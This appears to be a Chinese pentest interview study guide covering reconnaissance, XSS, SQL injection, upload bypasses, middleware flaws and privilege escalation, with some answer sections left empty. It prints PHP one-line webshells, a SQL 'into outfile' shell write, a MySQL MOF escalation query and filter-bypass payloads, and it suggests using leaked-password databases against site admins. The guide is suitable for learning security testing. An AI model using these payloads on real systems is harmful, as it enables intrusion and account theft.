目录
1·拿到一个待检测的站,你觉得应该先做什么?
2·xss
3·sql注入
4·真实ip
5.多地ping
6·应急响应
7·代码注入漏洞
8·sql注入如何读写文件,二次注入,防御方式
9·csrf和xss区别
10·文件上传的后段绕过,防御方式
11·中间件漏洞——IIS、Apache、nginx、Lighttpd、Tomcat
12·xxe与ssrf
13·rce讲一下,php函数eval和system popen
14·缓冲区溢出
15·数据库提权(mysql,mssql,access,oracle)
16·常见的php序列化与反序列化函数
17·如何突破注入时字符被转义?
18·某个防注入系统,在注入时会提示:
19·如何利用这个防注入系统拿shell?
20·说出至少三种业务逻辑漏洞
21·宽字节注入产生原理以及根本原因
22·代替空格的方法
23·mysql的网站注入,5.0以上和5.0以下有什么区别
24·TCP/IP——TCP三次握手的过程以及对应的状态转换
25· TCP和UDP协议区别
26·流量分析
27·防火墙
28·登录框
a、获取域名的whois信息,获取注册者邮箱姓名电话等,丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。用邮箱做关键词进行丢进搜索引擎。利用搜索到的关联信息找出其他邮箱进而得到常用社交账号。社工找出社交账号,里面或许会找出管理员设置密码的习惯 。利用已有信息生成专用字典。
b、查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。
c、查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞
d、查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心zang出血,mysql,ftp,ssh弱口令等。
常见端口 。 21 ftp 文件传输 22ssh安全登录 3306 mysql 3389远程桌面 80http 443https 139,445smb文件共享
e、扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针 f、google hack 进一步探测网站的信息,后台,敏感文件
开始检测漏洞,手动+代理 如XSS,cSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等
一、什么是 XSS
跨站脚本攻击,XSS属于客户端攻击,受害者最终是用户,
XSS攻击最终目的是在网面插入js代码,而且js能实现什么,xss就能获取什么。比如弹出窗口,盗取用户Cookie,废掉页面,导航到恶意网站!更高端的XSS代码完全可以进行监控你的键盘操作,模仿Windows注销界面,诱导你输入开机密码。
二、XSS漏洞出现的原因
程序对输入和输出的控制不够严格,导致脚本输入后,在前端时被浏览器当作有效代码解析执行从而产生危害.
三、XSS的危害
1、劫持用户cookie信息
2、“框架钓鱼”。操作网页中的DOM树结构和内容,在网页中通过JS脚本,生成虚假的页面,欺骗用户执行操作,而用户所有的输入内容都会被发送到攻击者的服务器上。
3、挂马(水坑攻击)ms14_064漏洞
4、有局限性的键盘记录
四、 XSS分类
反射型,储存型,dom型
五、XSS测试方法
1、工具扫描:APPscan、AWVS 2、手工测试:Burpsuite、firefox(hackbar)、XSSER XSSF
六。防御
前端参数过滤
一。什么是sql注入
SQL注入是将恶意的SQL查询语句输入参数中的攻击,之后再将这些参数传递给后台的sql服务器加以解析和执行,再返回的过程
二。出现原因
⑤多个提交处理不当。
三。危害
四。类型
五。测试方法
1、工具扫描:APPscan、AWVS ,X-ray 2、手工测试:bs ,sqlmap,
六。预防
1.ping,nslookup,子域名:通过查询子域名对应的ip地址,然后扩展查询ip所在的C段地址,在C段地址中可能发现主站的真实ip——站长之家。
2.以会员身份发邮件,订阅服务收到通知查ip(前提是目标站使用的邮件服务是自己服务站,而不是第三方)
3.域名解析历史
假设以前某个时间点没有使用CDN,通过查询目标域名的dns解析历史,可能得到其真实IP,提供该历史查询的网站如微步在线、dnsdb、netcraft、Viewdns、CDN查询IP, ip138查询:https://site.ip138.com/ 等等。
追踪平台:SecurityTrails
通过一些第三方网站的分布式多地ping域名功能,如果得到的ip唯一或者只有少数几个结果ip,则为真实ip。类似网站:站长工具、just ping等。
5.zmap扫描
3.使用国外主机解析域名
一些CDN可能只做了国内的线路,所以使用国外主机可以获取到真实IP,直接使用多地Ping即可:站长之家:http://ping.chinaz.com/
1、工具列表
Pchunter 恶意代码检测工具
Process Explorer 恶意代码检测工具
Autoruns 显示Windows启动时自动运行的程序
D盾 WebShell查杀
Logparser 日志分析工具
Windows的自带命令集没有linux的强大,不能完全满足应急响应时的处置工作,所以一般来说我们都需要借助外部工具进行恶意后门分析
2、检查项目
上述的排查项,全部可以使用PChunter和Autoruns完成。
1.eval()
eval($_REQUEST['pass']);
2.preg_replace()——php5.3
$a = $_REQUEST['passs'];
preg_replace($a);
@preg_replace('//e',base64_decode($_REQUEST['pass']),'');
3.assert()——php5 php7都可以用
assert($_REQUEST["PASS"]);
$a=$_GET['1'];$b=$_POST['2'];
4.creat_function()
$newfunc = creat_function('',$_REQUEST['pass'].";");
echo "New anonymous function: $newfunc\n";
$newfunc();
5.call_user_func()
call_user_func(create_function(null,'assert($_REQUEST[pass]);'));
6.call_user_func_array()
代码混淆免杀
union select 1,'',3 into outfile 'C:\\\www\html\shell.php'
xss修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。
csrf修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer
前段更改js限制
大小写 双写 代理
点空格(liunx不用)
::¥date
mine类型更改type元素
文件头信息绕过---gif89a
伪图片上传 copy/b 图+p 马(需要可以解析php文件)
条件竞争(多线程对同一共享资源操作)
00截断
1.asa,1.asp文件夹下的文件都当作asp文件解析
1.asp;1.png也会当作asp解析
test.jpg/test.php当php解析
xxe:应用程序解析xml时候没有禁止外部实体的加载,导致可家在外部文件,造成文件读取,命令执行,内网端口扫描,dos攻击等危害
ssrf:服务器提供了从其他服务器获取数据的功能,但是没有对外网目标地址做过过滤限制
eval代码执行
system popen命令执行ipconfig
通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。
配合工具(暗月)上传
1.工具建号,提权,找个可写目录上传mof文件
2.执行sql上传文件
select load_file('C:\\wmpub\\moon.mof') into dumpfile 'c:/windows/system32/wbem/mof/moon.mof';
serialize unserialize
json_encode json_decode
var_export eval
wddx_serialize_value 和 wddx deserialize
宽字符注入 hex编码绕过
系统检测到你有非法注入的行为。
已记录您的ip xx.xx.xx.xx
时间:2016:01-23
提交页面:test.asp?id=15
提交内容:and 1=1
在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。
1)暴力破解
2)撞库
3)cookie伪造
1)邮箱篡改
2)订单ID,用户ID,手机号,商品编号,支付金额商品数量篡改
1)横向越权
2)纵向越权
用户凭证暴力破解 -- 当当网 : 进行验证码的爆破 只有4位的验证码比较好跑出来
用户凭证暴力破解 -- 微信:微信密码重置漏洞
常见类型:验证码暴力破解、验证码重复使用、验证码绕过、验证码回显、验证码自动识别
当php开启gpc或者使用addslashes函数时,单引号'被加上反斜杠\',其中\的URL编码为%5C,我们传入%df',等价于%df%5C',此时若程序的默认字符集是GBK,mysql用GBK编码时会认为%df%5C是一个宽字符縗,于是%df%5C'便等价于縗',产生注入。
%0a、%0b、%a0 等 /**/ 等注释符 <>
5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。
5.0以下是多用户单操作,5.0以上是多用户多操做。
第一次握手:建立连接时,客户端A发送SYN包(SYN=j)到服务器B,并进入SYN_SEND状态,等待服务器B确认。
第二次握手:服务器B收到SYN包,必须确认客户A的SYN(ACK=j+1),同时自己也发送一个SYN包(SYN=k),即SYN+ACK包,此时服务器B进入SYN_RECV状态。
第三次握手:客户端A收到服务器B的SYN+ACK包,向服务器B发送确认包ACK(ACK=k+1),此包发送完毕,完成三次握手。
1) TCP提供面向连接的传输,通信前要先建立连接(三次握手机制); UDP提供无连接的传输,通信前不需要建立连接。
2) TCP提供可靠的传输(有序,无差错,不丢失,不重复); UDP提供不可靠的传输。
3) TCP面向字节流的传输,因此它能将信息分割成组,并在接收端将其重组; UDP是面向数据报的传输,没有分组开销。
4) TCP提供拥塞控制和流量控制机制; UDP不提供拥塞控制和流量控制机制。
暴力破解
1. 指定用户名爆破密码
2. 指定密码爆破用户名
SQL注入
1. 万能密码
2.SQL注入
XSS+CSRF
任意用户注册---如果登陆框附近存在用户注册功能时,可以尝试
1. 失效的身份认证
2. 验证码可暴破
任意密码重置
CSRF重新绑定手机号、邮箱号,
重新绑定时,用户身份可控,如最后的请求包可以通过修改用户id来控制绑定的用户
短信轰炸
1. 单个用户短信炸弹
2. 轮询用户